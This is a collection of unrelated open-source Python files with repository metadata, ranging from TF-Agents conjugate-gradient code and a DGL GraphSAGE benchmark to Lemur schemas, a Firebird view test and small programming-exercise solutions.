## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
##
#############################################################################
from ..exceptions import WidgetPluginError
def load_plugin(plugin, plugin_globals, plugin_locals):
""" Load the given plugin (which is an open file). Return True if the
plugin was loaded, or False if it wanted to be ignored. Raise an exception
if there was an error.
"""
try:
exec(plugin.read(), plugin_globals, plugin_locals)
except ImportError:
return False
except Exception, e:
raise WidgetPluginError("%s: %s" % (e.__class__, str(e)))
return True
|
[
"konstruktion@gmail.com"
] |
konstruktion@gmail.com
|
d9a599f338f61afbe4051bd2a7d2602ccc66f966
|
7b1fdeb2ecac20764945c8e7222a8d4d58eec39c
|
/src/reviews/tests/test_js.py
|
61d235f80fd5e9dc0adc2a762f8bd23e466ad84a
|
[
"MIT"
] |
permissive
|
andyjia/phase
|
268e8ed76e15df0590042f88415182dc4bccb414
|
7a21716f4427ea1830139a361c61bf9f4936ef20
|
refs/heads/master
| 2021-01-19T07:05:27.663115
| 2016-05-05T19:41:12
| 2016-05-05T19:41:12
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,966
|
py
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import os
from django.contrib.contenttypes.models import ContentType
from casper.tests import CasperTestCase
from accounts.factories import UserFactory
from categories.factories import CategoryFactory
from documents.factories import DocumentFactory
from default_documents.models import ContractorDeliverable
from default_documents.factories import (
ContractorDeliverableFactory, ContractorDeliverableRevisionFactory)
from reviews.factories import DistributionListFactory
class DistributionListWidgetTestDistributionListWidgetTests(CasperTestCase):
def setUp(self):
Model = ContentType.objects.get_for_model(ContractorDeliverable)
self.category = CategoryFactory(
category_template__metadata_model=Model)
self.user = UserFactory(
email='testadmin@phase.fr',
password='pass',
is_superuser=True,
category=self.category)
self.client.login(email=self.user.email, password='pass')
self.doc = DocumentFactory(
category=self.category,
metadata_factory_class=ContractorDeliverableFactory,
revision_factory_class=ContractorDeliverableRevisionFactory,
)
url = self.doc.get_edit_url()
self.url = '%s%s' % (self.live_server_url, url)
self.test_file = os.path.join(
os.path.dirname(__file__),
'casper_tests',
'tests.js'
)
def test_select_distribution_list(self):
dl = DistributionListFactory(
categories=[self.category],
name='Team Cassoulet',
)
DistributionListFactory(
categories=[self.category],
name='Team Oui Oui et ses potes')
self.assertTrue(self.casper(
self.test_file,
url=self.url,
leader_id=dl.leader_id,
approver_id=dl.approver_id,
))
|
[
"thibault@miximum.fr"
] |
thibault@miximum.fr
|
8d97914292279f7ff53414df4b74de0dac7fa867
|
163bbb4e0920dedd5941e3edfb2d8706ba75627d
|
/Code/CodeRecords/2725/60697/271503.py
|
c53cb441631cdc587a7d9bc03c1578d8bcbd51c6
|
[] |
no_license
|
AdamZhouSE/pythonHomework
|
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
|
ffc5606817a666aa6241cfab27364326f5c066ff
|
refs/heads/master
| 2022-11-24T08:05:22.122011
| 2020-07-28T16:21:24
| 2020-07-28T16:21:24
| 259,576,640
| 2
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 160
|
py
|
t=int(input())
nums=[]
for i in range(t):
nums.append(int(input()))
for i in range(t):
if(nums[i]%2==0):
print("1")
else:
print("0")
|
[
"1069583789@qq.com"
] |
1069583789@qq.com
|
186b9b7fb9c2f35bc5d4cea69b7abd64c1d13e2d
|
c7d5950b281e4f8063f21de151775c648664f03a
|
/lemur/notifications/schemas.py
|
2c93d32b615ef7e246e6fec1d1b703ed1948ecf0
|
[
"Apache-2.0"
] |
permissive
|
mik373/lemur
|
b5cc6655cb2e361d99e175f668efb87592009cd0
|
121b72307ec101e84b9cc4090cfa3223806a5517
|
refs/heads/master
| 2021-01-18T15:01:32.709233
| 2016-06-14T00:22:45
| 2016-06-14T16:20:18
| 57,319,811
| 0
| 1
| null | 2016-04-28T17:03:25
| 2016-04-28T17:03:23
|
Python
|
UTF-8
|
Python
| false
| false
| 1,707
|
py
|
"""
.. module: lemur.notifications.schemas
:platform: unix
:copyright: (c) 2015 by Netflix Inc., see AUTHORS for more
:license: Apache, see LICENSE for more details.
.. moduleauthor:: Kevin Glisson <kglisson@netflix.com>
"""
from marshmallow import fields, post_dump
from lemur.common.schema import LemurInputSchema, LemurOutputSchema
from lemur.schemas import PluginInputSchema, PluginOutputSchema, AssociatedCertificateSchema
class NotificationInputSchema(LemurInputSchema):
id = fields.Integer()
label = fields.String(required=True)
description = fields.String()
active = fields.Boolean()
plugin = fields.Nested(PluginInputSchema, required=True)
certificates = fields.Nested(AssociatedCertificateSchema, many=True, missing=[])
class NotificationOutputSchema(LemurOutputSchema):
id = fields.Integer()
label = fields.String()
description = fields.String()
active = fields.Boolean()
options = fields.List(fields.Dict())
plugin = fields.Nested(PluginOutputSchema)
certificates = fields.Nested(AssociatedCertificateSchema, many=True, missing=[])
@post_dump
def fill_object(self, data):
data['plugin']['pluginOptions'] = data['options']
return data
class NotificationNestedOutputSchema(LemurOutputSchema):
__envelope__ = False
id = fields.Integer()
label = fields.String()
description = fields.String()
active = fields.Boolean()
options = fields.List(fields.Dict())
plugin = fields.Nested(PluginOutputSchema)
notification_input_schema = NotificationInputSchema()
notification_output_schema = NotificationOutputSchema()
notifications_output_schema = NotificationOutputSchema(many=True)
|
[
"kevgliss@gmail.com"
] |
kevgliss@gmail.com
|
659225b6d0ed14ffec7d992922f69f21209fb358
|
1f468bc6edd2619c4fcc213f44fc64db129eaa51
|
/tf_agents/bandits/policies/linalg.py
|
8d54bd8cbfb1f5f4c655288016339d79ba97f24e
|
[
"Apache-2.0"
] |
permissive
|
sanket-kamthe/agents
|
8ae89da7d581d6d9165ad87ad10d10375e7f4d68
|
5876d78cacaec1cf5994f93ad0aa48f347f7fff0
|
refs/heads/master
| 2021-06-21T03:09:46.953822
| 2021-02-05T22:19:15
| 2021-02-05T22:19:15
| 181,042,465
| 2
| 0
|
Apache-2.0
| 2021-02-05T22:19:16
| 2019-04-12T16:12:06
|
Python
|
UTF-8
|
Python
| false
| false
| 7,331
|
py
|
# coding=utf-8
# Copyright 2020 The TF-Agents Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Utility code for linear algebra functions."""
from __future__ import absolute_import
from __future__ import division
# Using Type Annotations.
from __future__ import print_function
import tensorflow as tf # pylint: disable=g-explicit-tensorflow-version-import
from tf_agents.typing import types
from tf_agents.utils import common
def _cg_check_shapes(a_mat, b):
if a_mat.shape[0] != a_mat.shape[1] or a_mat.shape.rank != 2:
raise ValueError('`a_mat` must be rank 2 square matrix; '
'got shape {}.'.format(a_mat.shape))
if a_mat.shape[1] != b.shape[0]:
raise ValueError('The dims of `a_mat` and `b` are not compatible; '
'got shapes {} and {}.'.format(a_mat.shape, b.shape))
@common.function
def conjugate_gradient(a_mat: types.Tensor,
b: types.Tensor,
tol: float = 1e-10) -> types.Float:
"""Returns `x` such that `A * x = b`.
Implements the Conjugate Gradient method.
https://en.wikipedia.org/wiki/Conjugate_gradient_method
Args:
a_mat: a Symmetric Positive Definite matrix, represented as a `Tensor` of
shape `[n, n]`.
b: a `Tensor` of shape `[n, 1]`.
tol: (float) desired tolerance on the residual.
Returns:
x: `Tensor` `x` of shape `[n, 1]` such that `A * x = b`.
Raises:
ValueError: if `a_mat` is not square or `a_mat` and `b` have incompatible
shapes.
"""
_cg_check_shapes(a_mat, b)
n = tf.shape(b)[0]
x = tf.zeros_like(b)
r = b - tf.matmul(a_mat, x)
p = r
rs_old = tf.reduce_sum(r * r)
rs_new = rs_old
def body_fn(i, x, p, r, rs_old, rs_new):
"""One iteration of CG."""
a_x_p = tf.matmul(a_mat, p)
alpha = rs_old / tf.reduce_sum(p * a_x_p)
x = x + alpha * p
r = r - alpha * a_x_p
rs_new = tf.reduce_sum(r * r)
p = r + (rs_new / rs_old) * p
rs_old = rs_new
i = i + 1
return i, x, p, r, rs_old, rs_new
def while_exit_cond(i, x, p, r, rs_old, rs_new):
"""Exit the loop when n is reached or when the residual becomes small."""
del x # unused
del p # unused
del r # unused
del rs_old # unused
i_cond = tf.less(i, n)
residual_cond = tf.greater(tf.sqrt(rs_new), tol)
return tf.logical_and(i_cond, residual_cond)
_, x, _, _, _, _ = tf.while_loop(
while_exit_cond,
body_fn,
[tf.constant(0), x, p, r, rs_old, rs_new],
parallel_iterations=1)
return x
@common.function
def conjugate_gradient_solve(a_mat: types.Tensor,
b_mat: types.Tensor,
tol: float = 1e-10) -> types.Tensor:
"""Returns `X` such that `A * X = B`.
Uses Conjugate Gradient to solve many linear systems of equations with the
same matrix `a_mat` and multiple right hand sides provided as columns in
the matrix `b_mat`.
Args:
a_mat: a Symmetric Positive Definite matrix, represented as a `Tensor` of
shape `[n, n]`.
b_mat: a `Tensor` of shape `[n, k]`.
tol: (float) desired tolerance on the residual.
Returns:
X: `Tensor` `X` of shape `[n, k]` such that `A * X = B`.
Raises:
ValueError: if `a_mat` is not square or `a_mat` and `b_mat` have
incompatible shapes.
"""
# Allows for flexible shape handling. If the shape is statically known, it
# will use the first part. If the shape is not statically known, tf.shape()
# will be used.
n = tf.compat.dimension_value(b_mat.shape[0]) or tf.shape(b_mat)[0]
k = tf.compat.dimension_value(b_mat.shape[1]) or tf.shape(b_mat)[1]
x = tf.zeros_like(b_mat)
def body_fn(i, x):
"""Solve one linear system of equations with the `i`-th column of b_mat."""
b_vec = tf.slice(b_mat, begin=[0, i], size=[n, 1])
x_sol = conjugate_gradient(a_mat, b_vec, tol)
indices = tf.concat([tf.reshape(tf.range(n, dtype=tf.int32), [n, 1]),
i * tf.ones([n, 1], dtype=tf.int32)], axis=-1)
x = tf.tensor_scatter_nd_update(
tensor=x, indices=indices, updates=tf.squeeze(x_sol, 1))
x.set_shape(b_mat.shape)
i = i + 1
return i, x
_, x = tf.while_loop(
lambda i, _: i < k,
body_fn,
loop_vars=[tf.constant(0), x],
parallel_iterations=10)
return x
def _check_shapes(a_inv: types.Tensor, u: types.Tensor):
if a_inv.shape[0] != a_inv.shape[1] or a_inv.shape.rank != 2:
raise ValueError('`a_inv` must be rank 2 square matrix; '
'got shape {}.'.format(a_inv.shape))
if u.shape.rank != 2:
raise ValueError('`u` must be rank 2 matrix; '
'got shape {}.'.format(u.shape))
if a_inv.shape[1] != u.shape[1]:
raise ValueError('`a_inv` and `u` must have shapes [m, m] and [n, m]; '
'got shapes {} and {}.'.format(a_inv.shape, u.shape))
def simplified_woodbury_update(a_inv: types.Float,
u: types.Float) -> types.Float:
"""Returns `w` such that `inverse(a + u.T.dot(u)) = a_inv + w`.
Makes use of the Woodbury matrix identity. See
https://en.wikipedia.org/wiki/Woodbury_matrix_identity.
**NOTE**: This implementation assumes that a_inv is symmetric. Since it's too
expensive to check symmetricity, the function silently outputs a wrong answer
in case `a` is not symmetric.
Args:
a_inv: an invertible SYMMETRIC `Tensor` of shape `[m, m]`.
u: a `Tensor` of shape `[n, m]`.
Returns:
A `Tensor` `w` of shape `[m, m]` such that
`inverse(a + u.T.dot(u)) = a_inv + w`.
Raises:
ValueError: if `a_inv` is not square or `a_inv` and `u` have incompatible
shapes.
"""
_check_shapes(a_inv, u)
u_x_a_inv = tf.matmul(u, a_inv)
capacitance = (
tf.eye(tf.shape(u)[0], dtype=u.dtype) +
tf.matmul(u_x_a_inv, u, transpose_b=True))
return -1. * tf.matmul(
u_x_a_inv, tf.linalg.solve(capacitance, u_x_a_inv), transpose_a=True)
def update_inverse(a_inv: types.Float, x: types.Float) -> types.Float:
"""Updates the inverse using the Woodbury matrix identity.
Given a matrix `A` of size d-by-d and a matrix `X` of size k-by-d, this
function computes the inverse of B = A + X^T X, assuming that the inverse of
A is available.
Reference:
https://en.wikipedia.org/wiki/Woodbury_matrix_identity
Args:
a_inv: a `Tensor` of shape [`d`, `d`]. This is the current inverse of `A`.
x: a `Tensor` of shape [`k`, `d`].
Returns:
The update that needs to be added to 'a_inv' to compute the inverse.
If `x` is empty, a zero matrix is returned.
"""
batch_size = tf.shape(x)[0]
def true_fn():
return tf.zeros_like(a_inv)
def false_fn():
return simplified_woodbury_update(a_inv, x)
a_inv_update = tf.cond(tf.equal(batch_size, 0), true_fn, false_fn)
return a_inv_update
|
[
"copybara-worker@google.com"
] |
copybara-worker@google.com
|
49de6098f4d8b05a00fbb57f00b1af5d4ea13289
|
3bdff0b728d8754a9a424c5eae79f1bc417d8728
|
/pi_db/client/entity/UserEntity.py
|
7ccab845eb7258395a5196a071d26e75d43dc305
|
[] |
no_license
|
wangshiyu/pi
|
92e8ac753f8de878d080a7dd0eecd8aa2a276d18
|
e6c42f2c24407e5857bde4ba777ef78e88cb9263
|
refs/heads/master
| 2023-02-12T12:05:27.525452
| 2021-01-12T13:57:30
| 2021-01-12T13:57:30
| 291,059,595
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 577
|
py
|
# encoding: utf-8
# !/usr/bin/python3
from sqlalchemy import Column, Integer, String
from pi_db.client.entity.ClientBaseEntity import ClientBaseEntity
from sqlalchemy.ext.declarative import declarative_base
DeclarativeBase = declarative_base()
"""
UserEntity对象
用户表
"""
class UserEntity(DeclarativeBase, ClientBaseEntity):
# 表的名字:
__tablename__ = 'tb_user'
# 表的结构:
name = Column(String(12)) # 名称
password = Column(String(32)) # 密码
privilegeLevel = Column(Integer, name='privilege_level', default=0) # 权限等级
|
[
"wsywsywsy541@qq.com"
] |
wsywsywsy541@qq.com
|
9227a7b8cf65dae2dea286079ee8966be6e1d118
|
c6abe311e9bc57fbe2454983c30bdd46e1feaf0d
|
/python/8-practiceProblemI.py
|
9c2bce2f10885c7434ac9e8dbce3714c04cb5138
|
[] |
no_license
|
muon012/practiceProblems
|
5966241d0af6c396bc52b2adac6d180e734a322d
|
8dde7810212ed79745ab06320c5d96ce179db1bd
|
refs/heads/master
| 2020-04-02T15:43:45.496026
| 2019-07-10T18:55:45
| 2019-07-10T18:55:45
| 154,581,118
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,089
|
py
|
# Hackerrank Challenge
if __name__ == '__main__':
# py_students = [['Harry', 37.21], ['Berry', 37.21], ['Tina', 37.2], ['Akriti', 41], ['Harsh', 39]]
py_students = []
print("For this program, you will enter the name of the student followed by its grade. All values are separated by"
" commas. The program will output all the students who have the second lowest grades.")
for _ in range(int(input("How many students will you enter in this program? "))):
name = input()
score = int(input())
student = [name, score]
py_students.append(student)
l = len(py_students)
for i in range(l):
for j in range(l - i - 1):
if py_students[j][1] > py_students[j + 1][1]:
py_students[j], py_students[j + 1] = py_students[j + 1], py_students[j]
second_lowest = 0
for k in range(l):
if py_students[k][1] > py_students[0][1]:
second_lowest = py_students[k][1]
break
second_lowest_students = []
for student in py_students:
if student[1] == second_lowest:
second_lowest_students.append(student)
for student in sorted(second_lowest_students):
print(student[0])
|
[
"eduardessc0@hotmail.com"
] |
eduardessc0@hotmail.com
|
c3e6459704cdacd14fbef32550033a2c7b5cdc7c
|
0e5291f09c5117504447cc8df683ca1506b70560
|
/test/test_ip_address_interface.py
|
0743121b18b16fb3ace5cfe5aad58f0e6bd725fc
|
[
"MIT"
] |
permissive
|
nrfta/python-netbox-client
|
abd0192b79aab912325485bf4e17777a21953c9b
|
68ba6dd4d7306513dc1ad38f3ac59122ba4f70a8
|
refs/heads/master
| 2022-11-13T16:29:02.264187
| 2020-07-05T18:06:42
| 2020-07-05T18:06:42
| 277,121,108
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 879
|
py
|
# coding: utf-8
"""
NetBox API
API to access NetBox # noqa: E501
OpenAPI spec version: 2.8
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import netbox_client
from netbox_client.models.ip_address_interface import IPAddressInterface # noqa: E501
from netbox_client.rest import ApiException
class TestIPAddressInterface(unittest.TestCase):
"""IPAddressInterface unit test stubs"""
def setUp(self):
pass
def tearDown(self):
pass
def testIPAddressInterface(self):
"""Test IPAddressInterface"""
# FIXME: construct object with mandatory attributes with example values
# model = netbox_client.models.ip_address_interface.IPAddressInterface() # noqa: E501
pass
if __name__ == '__main__':
unittest.main()
|
[
"67791576+underline-bot@users.noreply.github.com"
] |
67791576+underline-bot@users.noreply.github.com
|
8bfdf81e80831a58f4e585c3016eb416e2c55ff4
|
71ac98ddc5a58a033631683757b5a7509f5dfc5f
|
/0x05-python-exceptions/3-safe_print_division.py
|
a1183b7378a83d70ab8cfc7619d3a5136fd69857
|
[] |
no_license
|
Virteip/holbertonschool-higher_level_programming
|
8193a22eb0de4b800ec2408207735f242dfda6f5
|
616948631871acbd8a5b6887f79ee1801f3b5516
|
refs/heads/master
| 2020-09-29T01:17:15.120539
| 2020-05-15T02:25:22
| 2020-05-15T02:25:22
| 226,911,855
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 184
|
py
|
#!/usr/bin/python3
def safe_print_division(a, b):
try:
r = a / b
except:
r = None
finally:
print("Inside result: {0}".format(r))
return r
|
[
"sergiopietri@gmail.com"
] |
sergiopietri@gmail.com
|
4613d4637b8e5446f2b84a1ba6f4097ec0a3d330
|
f8666599b83d34c861651861cc7db5b3c434fc87
|
/plotly/validators/scatter3d/error_y/__init__.py
|
a9450d059bf50c8b989357d05ae9e897fc206983
|
[
"MIT"
] |
permissive
|
mode/plotly.py
|
8b66806e88c9f1820d478bab726f0bea81884432
|
c5a9ac386a40df2816e6c13264dadf14299401e4
|
refs/heads/master
| 2022-08-26T00:07:35.376636
| 2018-09-26T19:08:54
| 2018-09-26T19:19:31
| 60,372,968
| 1
| 1
|
MIT
| 2019-11-13T23:03:22
| 2016-06-03T19:34:55
|
Python
|
UTF-8
|
Python
| false
| false
| 618
|
py
|
from ._width import WidthValidator
from ._visible import VisibleValidator
from ._valueminus import ValueminusValidator
from ._value import ValueValidator
from ._type import TypeValidator
from ._tracerefminus import TracerefminusValidator
from ._traceref import TracerefValidator
from ._thickness import ThicknessValidator
from ._symmetric import SymmetricValidator
from ._copy_zstyle import CopyZstyleValidator
from ._color import ColorValidator
from ._arraysrc import ArraysrcValidator
from ._arrayminussrc import ArrayminussrcValidator
from ._arrayminus import ArrayminusValidator
from ._array import ArrayValidator
|
[
"adam.kulidjian@gmail.com"
] |
adam.kulidjian@gmail.com
|
5956a7e2faaa079368dd7896181b368f16ece831
|
1079e654ce950f50bc4ed27c0974f78589428573
|
/tests/__init__.py
|
23ad5cb638accd087a54d8728cf2d5068b0f93ee
|
[] |
no_license
|
uranusjr/python-web-stack
|
d2aaa64a4ba6e5d447db1444ab08813e507961e1
|
971c0190f28abfbd8c577e2b149e2d1a604d3f13
|
refs/heads/master
| 2020-04-27T11:17:21.922742
| 2013-11-20T10:40:16
| 2013-11-20T10:40:16
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 953
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8
import os.path
import shutil
import tempfile
from nose.plugins.skip import SkipTest
from pywebstack import utils
__all__ = [
'ALL_FORMULAE_NAMES', 'PROJECT_NAME', 'TEMP_DIR',
'MockedArguments',
'skipped', 'create_tempdir', 'cleanup_tempdir'
]
ALL_FORMULAE_NAMES = (
'django', 'Django'
)
PROJECT_NAME = 'omega_directive'
TEMP_DIR = os.path.join(tempfile.gettempdir(), 'pywebstack_test')
class MockedArguments(dict):
def __getattr__(self, key):
try:
return self[key]
except KeyError:
raise AttributeError(key)
def __setattr__(self, key, value):
self[key] = value
def create_tempdir():
utils.mkdir_p(TEMP_DIR)
def cleanup_tempdir():
shutil.rmtree(TEMP_DIR)
def skipped(f):
"""Decorator for instructing nose to skip the decorated test"""
def _():
raise SkipTest
_.__name__ = f.__name__
return _
|
[
"uranusjr@gmail.com"
] |
uranusjr@gmail.com
|
c2ec06b06c3e618131391854042d37d0ab13a261
|
426aed70aa6925105f10c7fcb7b611b277bf8b84
|
/benchmarks/benchmarks/model_acc/bench_sage_ns.py
|
6f99d94ad32d6ce29bf95b128eed28951ecb9b7f
|
[
"Apache-2.0"
] |
permissive
|
hengruizhang98/dgl
|
0ce7201ca7380482440f031cb8ced6ca0e8c8dc1
|
195f99362d883f8b6d131b70a7868a537e55b786
|
refs/heads/master
| 2023-06-10T22:21:45.835646
| 2021-04-13T12:29:43
| 2021-04-13T12:29:43
| 336,804,001
| 3
| 0
|
Apache-2.0
| 2021-02-07T14:16:20
| 2021-02-07T14:16:20
| null |
UTF-8
|
Python
| false
| false
| 7,162
|
py
|
import dgl
import torch as th
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import torch.multiprocessing as mp
from torch.utils.data import DataLoader
import dgl.nn.pytorch as dglnn
import time
from .. import utils
class SAGE(nn.Module):
def __init__(self,
in_feats,
n_hidden,
n_classes,
n_layers,
activation,
dropout):
super().__init__()
self.n_layers = n_layers
self.n_hidden = n_hidden
self.n_classes = n_classes
self.layers = nn.ModuleList()
self.layers.append(dglnn.SAGEConv(in_feats, n_hidden, 'mean'))
for i in range(1, n_layers - 1):
self.layers.append(dglnn.SAGEConv(n_hidden, n_hidden, 'mean'))
self.layers.append(dglnn.SAGEConv(n_hidden, n_classes, 'mean'))
self.dropout = nn.Dropout(dropout)
self.activation = activation
def forward(self, blocks, x):
h = x
for l, (layer, block) in enumerate(zip(self.layers, blocks)):
h = layer(block, h)
if l != len(self.layers) - 1:
h = self.activation(h)
h = self.dropout(h)
return h
def inference(self, g, x, batch_size, device):
"""
Inference with the GraphSAGE model on full neighbors (i.e. without neighbor sampling).
g : the entire graph.
x : the input of entire node set.
The inference code is written in a fashion that it could handle any number of nodes and
layers.
"""
# During inference with sampling, multi-layer blocks are very inefficient because
# lots of computations in the first few layers are repeated.
# Therefore, we compute the representation of all nodes layer by layer. The nodes
# on each layer are of course splitted in batches.
# TODO: can we standardize this?
for l, layer in enumerate(self.layers):
y = th.zeros(g.number_of_nodes(), self.n_hidden if l !=
len(self.layers) - 1 else self.n_classes)
sampler = dgl.dataloading.MultiLayerFullNeighborSampler(1)
dataloader = dgl.dataloading.NodeDataLoader(
g,
th.arange(g.number_of_nodes()),
sampler,
batch_size=batch_size,
shuffle=True,
drop_last=False,
num_workers=4)
for input_nodes, output_nodes, blocks in dataloader:
block = blocks[0]
block = block.int().to(device)
h = x[input_nodes].to(device)
h = layer(block, h)
if l != len(self.layers) - 1:
h = self.activation(h)
h = self.dropout(h)
y[output_nodes] = h.cpu()
x = y
return y
def compute_acc(pred, labels):
"""
Compute the accuracy of prediction given the labels.
"""
labels = labels.long()
return (th.argmax(pred, dim=1) == labels).float().sum() / len(pred)
def evaluate(model, g, inputs, labels, val_nid, batch_size, device):
"""
Evaluate the model on the validation set specified by ``val_nid``.
g : The entire graph.
inputs : The features of all the nodes.
labels : The labels of all the nodes.
val_nid : the node Ids for validation.
batch_size : Number of nodes to compute at the same time.
device : The GPU device to evaluate on.
"""
model.eval()
with th.no_grad():
pred = model.inference(g, inputs, batch_size, device)
model.train()
return compute_acc(pred[val_nid], labels[val_nid])
def load_subtensor(g, seeds, input_nodes, device):
"""
Copys features and labels of a set of nodes onto GPU.
"""
batch_inputs = g.ndata['features'][input_nodes].to(device)
batch_labels = g.ndata['labels'][seeds].to(device)
return batch_inputs, batch_labels
@utils.benchmark('acc', 600)
@utils.parametrize('data', ['ogbn-products', "reddit"])
def track_acc(data):
data = utils.process_data(data)
device = utils.get_bench_device()
g = data[0]
g.ndata['features'] = g.ndata['feat']
g.ndata['labels'] = g.ndata['label']
in_feats = g.ndata['features'].shape[1]
n_classes = data.num_classes
# Create csr/coo/csc formats before launching training processes with multi-gpu.
# This avoids creating certain formats in each sub-process, which saves momory and CPU.
g.create_formats_()
num_epochs = 20
num_hidden = 16
num_layers = 2
fan_out = '5,10'
batch_size = 1024
lr = 0.003
dropout = 0.5
num_workers = 4
train_nid = th.nonzero(g.ndata['train_mask'], as_tuple=True)[0]
# Create PyTorch DataLoader for constructing blocks
sampler = dgl.dataloading.MultiLayerNeighborSampler(
[int(fanout) for fanout in fan_out.split(',')])
dataloader = dgl.dataloading.NodeDataLoader(
g,
train_nid,
sampler,
batch_size=batch_size,
shuffle=True,
drop_last=False,
num_workers=num_workers)
# Define model and optimizer
model = SAGE(in_feats, num_hidden, n_classes, num_layers, F.relu, dropout)
model = model.to(device)
loss_fcn = nn.CrossEntropyLoss()
loss_fcn = loss_fcn.to(device)
optimizer = optim.Adam(model.parameters(), lr=lr)
# dry run one epoch
for step, (input_nodes, seeds, blocks) in enumerate(dataloader):
# Load the input features as well as output labels
#batch_inputs, batch_labels = load_subtensor(g, seeds, input_nodes, device)
blocks = [block.int().to(device) for block in blocks]
batch_inputs = blocks[0].srcdata['features']
batch_labels = blocks[-1].dstdata['labels']
# Compute loss and prediction
batch_pred = model(blocks, batch_inputs)
loss = loss_fcn(batch_pred, batch_labels)
optimizer.zero_grad()
loss.backward()
optimizer.step()
# Training loop
for epoch in range(num_epochs):
# Loop over the dataloader to sample the computation dependency graph as a list of
# blocks.
for step, (input_nodes, seeds, blocks) in enumerate(dataloader):
# Load the input features as well as output labels
#batch_inputs, batch_labels = load_subtensor(g, seeds, input_nodes, device)
blocks = [block.int().to(device) for block in blocks]
batch_inputs = blocks[0].srcdata['features']
batch_labels = blocks[-1].dstdata['labels']
# Compute loss and prediction
batch_pred = model(blocks, batch_inputs)
loss = loss_fcn(batch_pred, batch_labels)
optimizer.zero_grad()
loss.backward()
optimizer.step()
test_g = g
test_nid = th.nonzero(
~(test_g.ndata['train_mask'] | test_g.ndata['val_mask']), as_tuple=True)[0]
test_acc = evaluate(
model, test_g, test_g.ndata['features'], test_g.ndata['labels'], test_nid, batch_size, device)
return test_acc.item()
|
[
"noreply@github.com"
] |
hengruizhang98.noreply@github.com
|
4e4ab4639104f571fb8a3fb079a9036e4b226ebf
|
15f321878face2af9317363c5f6de1e5ddd9b749
|
/solutions_python/Problem_59/321.py
|
0a9767e0766e4ba935813b4c36b5d417c281ff86
|
[] |
no_license
|
dr-dos-ok/Code_Jam_Webscraper
|
c06fd59870842664cd79c41eb460a09553e1c80a
|
26a35bf114a3aa30fc4c677ef069d95f41665cc0
|
refs/heads/master
| 2020-04-06T08:17:40.938460
| 2018-10-14T10:12:47
| 2018-10-14T10:12:47
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 819
|
py
|
f = open("A-large.in")
T = int(f.readline())
out = open("A-large.out", "w")
for i in range(T):
N, M = [int(x) for x in f.readline().split()]
dirs = []
for j in range(N):
dirs.append(f.readline()[1:].strip())
ndirs = []
for j in range(M):
ndirs.append(f.readline()[1:].strip())
tree = {}
for d in dirs:
cur = tree
for fold in d.split("/"):
if not fold in cur:
cur[fold] = {}
cur = cur[fold]
count = 0
for d in ndirs:
cur = tree
for fold in d.split("/"):
if not fold in cur:
count += 1
cur[fold] = {}
cur = cur[fold]
out.write("Case #%d: %d\n" % (i+1, count))
out.close()
f.close()
|
[
"miliar1732@gmail.com"
] |
miliar1732@gmail.com
|
5e61a1ac0bdda6850396f1dde2ef6f5ad1ae89a0
|
d125c002a6447c3f14022b786b07712a7f5b4974
|
/tests/bugs/core_5647_test.py
|
6270292da43b931230fb13d42925508c89a4e987
|
[
"MIT"
] |
permissive
|
FirebirdSQL/firebird-qa
|
89d5b0035071f9f69d1c869997afff60c005fca9
|
cae18186f8c31511a7f68248b20f03be2f0b97c6
|
refs/heads/master
| 2023-08-03T02:14:36.302876
| 2023-07-31T23:02:56
| 2023-07-31T23:02:56
| 295,681,819
| 3
| 2
|
MIT
| 2023-06-16T10:05:55
| 2020-09-15T09:41:22
|
Python
|
UTF-8
|
Python
| false
| false
| 1,390
|
py
|
#coding:utf-8
"""
ID: issue-5913
ISSUE: 5913
TITLE: Increase number of formats/versions of views from 255 to 32K
DESCRIPTION:
JIRA: CORE-5647
FBTEST: bugs.core_5647
"""
import pytest
from firebird.qa import *
db = db_factory()
test_script = """
set bail on;
set list on;
set term ^;
execute block returns(ret_code smallint) as
declare n int = 300;
begin
while (n > 0) do
begin
if (mod(n, 2) = 0) then
begin
in autonomous transaction do
begin
execute statement 'create or alter view vw1 (dump1) as select 1 from rdb$database';
end
end
else
begin
in autonomous transaction do
begin
execute statement 'create or alter view vw1 (dump1, dump2) as select 1, 2 from rdb$database';
end
end
n = n - 1;
end
ret_code = -abs(n);
suspend;
end ^
set term ;^
quit;
"""
act = isql_act('db', test_script)
expected_stdout = """
RET_CODE 0
"""
@pytest.mark.version('>=3.0.8')
def test_1(act: Action):
act.expected_stdout = expected_stdout
act.execute()
assert act.clean_stdout == act.clean_expected_stdout
|
[
"pcisar@ibphoenix.cz"
] |
pcisar@ibphoenix.cz
|
a59632cf8ae532ffe1310f5a4589020417954045
|
e2f68f7f2b96af92d0d56ef9aa3119e7909cd992
|
/dataplicity/m2m/remoteprocess.py
|
96322c408309ccf7a475c5dba744ded0b077d147
|
[
"BSD-3-Clause",
"BSD-2-Clause"
] |
permissive
|
anuradhawick/dataplicity-agent
|
c89edd563103aa251f858d38aeba8ed6c605481c
|
9d4c234f0d7b24aa144a079f54883d38eb8b9f40
|
refs/heads/master
| 2022-04-09T18:16:18.590182
| 2020-03-26T12:10:44
| 2020-03-26T12:10:44
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,356
|
py
|
"""Manage a subprocess that streams to a remote side"""
from __future__ import unicode_literals
from __future__ import print_function
import json
import logging
import os
import signal
